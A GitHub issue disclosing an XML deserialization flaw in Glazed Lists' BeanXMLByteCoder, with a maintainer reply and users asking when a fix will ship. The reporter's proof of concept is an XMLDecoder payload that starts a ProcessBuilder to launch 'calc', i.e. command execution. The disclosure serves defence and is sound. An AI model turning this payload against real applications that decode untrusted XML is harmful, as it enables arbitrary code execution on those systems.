Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XML Deserialization vulnerability in BeanXMLByteCoder #709

Open
2ha0yuk7on opened this issue Apr 26, 2023 · 3 comments
Open

XML Deserialization vulnerability in BeanXMLByteCoder #709

2ha0yuk7on opened this issue Apr 26, 2023 · 3 comments
Milestone

Comments

@2ha0yuk7on
Copy link

vulnerability location: ca.odell.glazedlists.impl.io.BeanXMLByteCoder

BeanXMLByteCoder class provides decode() method to decode the Object from a InputStream.

When the decode() method is called, the program will call XMLDecoder.readObject() to parse the XML string without any check, which causing a XML Deserialization vulnerability.

ca.odell.glazedlists.impl.io.BeanXMLByteCoder#decode

image

attack payload:

<java>
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1">
			<void index="0"><string>calc</string></void>
		</array>
		<void method="start"></void>
	</object>
</java>

use a little program to test.

os: windows 10
jdk: 1.8.0_111
glazedlists: 1.11.0

image

@hbrands
Copy link
Member

hbrands commented May 20, 2023

Thanks for reporting the issue to us.
BeanXMLByterCoder is a small adapter for the XMLDecoder and XMLEncoder classes from the standard Java API.
As you point out, the security issue is located in the XMLDecoder.readObject method when reading from an untrusted input source.
As far as I can see, BeanXMLByterCoder is part of the GlazedList IO extension, but is not used actively in the code base.
A GlazedLists user using BeanXMLByterCoder should only deserialize from trusted input sources.

Please note, that the Glazed Lists IO extension is deprecated and will be removed from the next major version of Glazed Lists.
But even if BeanXMLByterCoder is removed, the vulnerability is still there in XMLDecoder. That's nothing we can do about.

@hbrands hbrands added this to the 2.0.0 milestone May 20, 2023
@ashish9889
Copy link

Hi,
By when can we expect the updated vulenerability free version of library?
If at all we are working on fixing this.

@hmekni
Copy link

hmekni commented Sep 26, 2023

Hello,

I'm facing the same vulnerability after running a BlackDuck scan, any due date for the new release?

Thanks in advance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants